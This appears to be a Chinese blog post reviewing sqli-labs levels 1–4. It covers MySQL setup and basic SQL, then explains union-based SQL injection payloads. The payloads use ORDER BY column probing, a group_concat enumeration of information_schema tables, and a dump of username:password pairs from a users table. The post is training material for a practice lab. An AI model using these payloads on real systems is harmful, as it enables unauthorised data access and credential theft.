SQL注入_sqli-labs

本文是对sqli-labs的学习复盘,主要介绍了在Ubuntu和MySQL环境下安装与基本操作,包括数据类型的增删改查,以及ORDER BY、UNION和GROUP_CONCAT()等SQL操作的运用,通过实例解析了SQL注入技巧。
摘要由CSDN通过智能技术生成

sqli-labs复盘

_看了很多好的sqli-labs步骤,虽然讲解都不错,但是由于SQL数据库学习时囫囵吞枣,因此用MYSQL练习数据库的方式复盘sqli-labs的一些操作。_由于是为了复盘,不会涉及全部的SQL语句。

环境:ubantu,mysql。

安装

更新源

apt-get update

安装MySQL

sudo apt-get install mysql-server mysql-client

测试版本是否安装成功

mysql --version

运行mysql

mysql -uroot -p

启动mysql服务(以后做需要web服务时这个有用)

sudo start mysql
sudo stop mysql

基本操作

数据类型

增删改查

  • create database test2;创建test2数据库
  • create table table_name(column_name column_type);创建数据表格式
create table test_tabl(id int auto_increment, title varchar(10) not null, author varchar(10) not null, test_date date, PRIMARY KEY (id));

后面的KEY要加上,很有用。

  • 插入数据,类似于insert into test_tabl(title,author,test_date) values ("abc","ABC","2020-01-16");,继续,多插入几行,便于后面使用。

在这里插入图片描述

到目前为止test_tabl数据表如上,这个数据表位于数据库test2。

  • drop database database_name删除某个数据库,
  • drop table table_name删除数据表。
  • DELECT from table_name where xxx删除where限制下的数据,即使全部删除也仅删数据,表键值还在。
  • select column_name from table_nameselect * from table_name查询数据。

复盘开始

ORDER BY

order by函数是排序的用法,默认升序,DESC为降序,select * from table_name order by column_name ASC/DESC

?id=1' order by 3--+

在MYSQL实际上相当于

select * from 表名 where id="1" order by 3;

在这里插入图片描述

这里放在与id="1"形成and的形式,如果均为1,结果是根据返回id="1"的数据并根据第几列进行排序,超出列数不能返回输出。

union

将两个或多个SELECT语句合并,用法为

select column_name from table_name1
union
select column_name from table_name2

其中union all返回重复的值,

?id=' union select 1,database(),3--+

相当于

select * from 表名 where id="0" union select 1,database(),3;

在这里插入图片描述

前面的id若是正确,返回一行,而其只支持返回一行就会把需要的信息丢掉。而union则是起到了让后面的语句顶替前面数据位置的效果。

group_concat()

  • select concat(str1,str2,…)起连接字符作用,如果存在一个参数为NULL返回值则为NULL。
  • select concat_ws(separator,str1,str2,…)使用分隔符连接字符,如果字符存在NULL,依旧可以有返回值,当然分隔符不能为NULL。
  • group_concat(column_name)为将某列数据打在一行。
?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security"

相当于

select * from 表名 where id="0" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security"

group_concat将security的数据表以行的形式展示。

在这里插入图片描述

爆列名也类似。

?id=0' union select 1,2,group_concat(username,':',password) from security.users--+

相当于

select * from 表名 where id="0" union select 1,2,group_concat(username,':',password) from security.users

在这里插入图片描述


这是个分割线,上面为sqli-labs1-4关复盘内容


评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值